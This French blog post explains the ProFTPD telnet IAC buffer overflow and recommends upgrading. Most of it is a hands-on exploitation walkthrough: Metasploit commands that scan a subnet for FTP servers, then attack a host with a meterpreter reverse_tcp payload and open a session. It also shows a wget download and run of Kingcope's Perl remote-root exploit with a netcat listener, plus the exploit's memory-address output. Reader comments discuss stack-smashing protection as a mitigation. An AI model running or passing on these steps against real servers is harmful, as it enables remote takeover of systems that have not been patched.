La faille telnet IAC dans ProFTPD


Proftpd
Une nouvelle faille de sécurité a été découverte dans le serveur de fichiers ProFTPD. Elle peut permettre à une personne malveillante de prendre le contrôle du serveur à distance. La seule méthode efficace pour contrer ce type d'attaque est de mettre à jour votre serveur en version 1.3.3c ou supérieure.

Cette version corrige également une vulnérabilité de type "directory traversal" dans le module mod_site_misc (non activé par défaut).

Pour ce qui est de la faille principale, cette dernière se situe dans la fonction pr_netio_telnet_gets() du code source. Ainsi, si l'on envoie un trop grand nombre de commandes telnet IAC à un serveur ProFTPD, cela provoque un buffer overflow et permet d'exécuter du code arbitraire à distance.

Attention, la suite de cet article suppose que vous connaissez déjà le fonctionnement de Metasploit

Rechercher les serveurs FTP d'un réseau avec Metasploit

Si vous souhaitez rechercher tous les serveurs FTP d'un réseau, il suffit d'utiliser le module ftp_version de Metasploit comme ceci :

msf > use scanner/ftp/ftp_version
msf > info
msf > set RHOSTS 192.168.0.1-192.168.0.255
msf > set THREADS 50
msf > exploit

Vous obtiendrez ainsi la liste de tous les serveurs FTP actifs. La plupart du temps, la version et le nom du serveur FTP sont cachés, ce qui rend un peu plus compliqué la recherche d'un serveur d'un type bien particulier (ex: ProFTPD).

Metasploit et la faille telnet IAC dans ProFTPD

Pour exploiter la faille telnet IAC de ProFTPD, il suffit d'utiliser l'un des exploits fournis dans Metasploit. Dans notre exemple, nous allons nous attaquer ici à la machine 192.168.0.101 :

msf > search telnet_iac
msf > use linux/ftp/proftp_telnet_iac
msf > info
msf > set RHOST 192.168.0.101
msf > set RPORT 21
msf > show targets
msf > set TARGET 0
msf > set PAYLOAD linux/x86/meterpreter/reverse_tcp
msf > set LHOST 192.168.1.100

Le module étant correctement configuré, on peut lancer l'attaque :

msf > exploit
[*] Started reverse handler on 192.168.56.100:4444
[*] Connecting to FTP server 192.168.56.101:21...
[*] Connected to target FTP server.
[*] Automatically detecting the target...
[*] FTP Banner: 220 ProFTPD 1.3.3a Server (Debian) [192.168.56.101]
[*] Selected Target: ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1
[*] Your payload should have executed now...
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1363968 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.100:4444 → 192.168.56.101:49066) at Sun Nov 07 16:29:22 +0100 2010

On ouvre ensuite un accès sur la machine distante :

msf > sessions -i 1

L'inconvénient du module Metasploit est qu'il est capable d'attaquer un nombre limité de cibles :

msf > show targets
0 - Automatic Targeting (default)
1 - Debug
2 - ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1
3 - ProFTPD 1_3_3a Server (Debian) - Squeeze Beta1 (Debug)

Il existe un module pour la version FreeBSD (use linux/ftp/proftp_telnet_iac), mais pour les autres système, il faudra utiliser d'autres méthodes.

Un autre exploit pour la faille telnet IAC dans ProFTPD

Kingcope a mis en ligne, le 7 novembre 2010, un script Perl qui permet d'exploiter cette faille sur un nombre plus important de plateformes :

  • FreeBSD 8.1 i386, ProFTPD 1.3.3a Server (binary)
  • FreeBSD 8.0/7.3/7.2 i386, ProFTPD 1.3.2a/e/c Server (binary)
  • Debian GNU/Linux 5.0, ProFTPD 1.3.2e Server (Plesk binary)
  • Debian GNU/Linux 5.0, ProFTPD 1.3.3 Server (Plesk binary)
  • Debian GNU/Linux 4.0, ProFTPD 1.3.2e Server (Plesk binary)
  • Debian Linux Squeeze/sid, ProFTPD 1.3.3a Server (distro binary)
  • SUSE Linux 9.3, ProFTPD 1.3.2e Server (Plesk binary)
  • SUSE Linux 10.0/10.3, ProFTPD 1.3.2e Server (Plesk binary)
  • SUSE Linux 10.2, ProFTPD 1.3.2e Server (Plesk binary)
  • SUSE Linux 11.0, ProFTPD 1.3.2e Server (Plesk binary)
  • SUSE Linux 11.1, ProFTPD 1.3.2e Server (Plesk binary)
  • SUSE Linux SLES 10, ProFTPD 1.3.2e Server (Plesk binary)
  • CentOS 5, ProFTPD 1.3.2e Server (Plesk binary)

Voici un exemple d'utilisation. Tout d'abord, on met netcat en écoute sur le port 45295 :

nc -l 45295

Puis dans un autre shell, on lance l'exploit :

netstat -pan | grep 45295
wget www.tux-planet.fr/public/hack/exploits/proftpd/proftpd-iac-remote-root-exploit.pl
perl proftpd-iac-remote-root-exploit.pl
perl proftpd-iac-remote-root-exploit.pl 192.168.1.101 192.168.100 5

Ce qui affichera quelque chose comme ceci :

[192.168.56.101] Debian Linux Squeeze/sid, ProFTPD 1.3.3a Server (distro binary) :pP
align = 4101
Seeking for write(2)..
Using write offset 080532d8.

SUCCESS. write(2) is at 080532d8
Reading memory from server...
pop pop pop ret located at 0805462e
large pop ret located at 08059a09
mmap64 is located at 08053d18
memcpy is located at 080536c8
byte1: 0805a056
byte2: 0805341a
byte3: 08053f8b
byte4: 080596b3
byte5: 08053314
byte6: 0806a7d8
byte7: 08053c35
byte8: 080532da
byte9: 08054535
Building exploit buffer
Sending exploit buffer!
Check your netcat?
done.

PS : chez moi, cet exploit ne marche pas trop, mais l'idée est là. A noter, que sous Ubutnu, le script perl génère une erreur (Can't call method "sockopt"). Par contre, sous Fedora il n'y a pas de problème...


3 Commentaires pour "La faille telnet IAC dans ProFTPD"

Flux des commentaires de cet article Ajouter un commentaire
  •  

    Le plus triste c'est qu'une version est sortie pour corriger le problème et que le paquet sur la 10.04 (LTS d'Ubuntu) n'a pas été mis à jours...

    c4software , le 8 novembre 2010 à 09:28
  •  

    @c4software : on peut lire ceci quand on fait un info sur le module linux/ftp/proftp_telnet_iac Metasploit :

    Most Linux distributions either do not ship a vulnerable version of ProFTPD, or they ship a version compiled with stack smashing protection. As of this writing, SSP is believed to successfully mitigate this vulnerability.

    Donc en gros, toutes les distributions Linux ne sont pas forcément vulnérable. Il faut que ProFTPD soit compilé sans la protection "Stack smashing" par exemple...

    pti-seb , le 8 novembre 2010 à 12:26
  •  

    Ah j'avais pas vu la petite note. Faudrai que je test alors vers un proftpd d'une ubuntu 10.04.

    c4software , le 8 novembre 2010 à 14:35

actualité android apache apple astuce astuces bash bilboblog blog boot chrome clavier commande commandes conky date debian Desktop développement elementary exploit faille fedora firefox flash gimp gnome google graphique Graphisme hack hacking Hardware humour intel internet iphone jailbreak Jeux Kde kernel libre Linux log logiciels Logiciels Libres lucid lynx maemo mail maquette metasploit microsoft mobile mockup monitoring mozilla multi-touch musique mysql n900 nautilus nokia noyau openoffice open source password photos php Planet publicité redhat red hat rpm réseau screenshot script serveur serveurs shell sql ssh statistiques sysadmin system Sécurité thème tux-planet tv twitter ubuntu unity vidéo vidéos vlc voyage wallpaper windows wordpress yum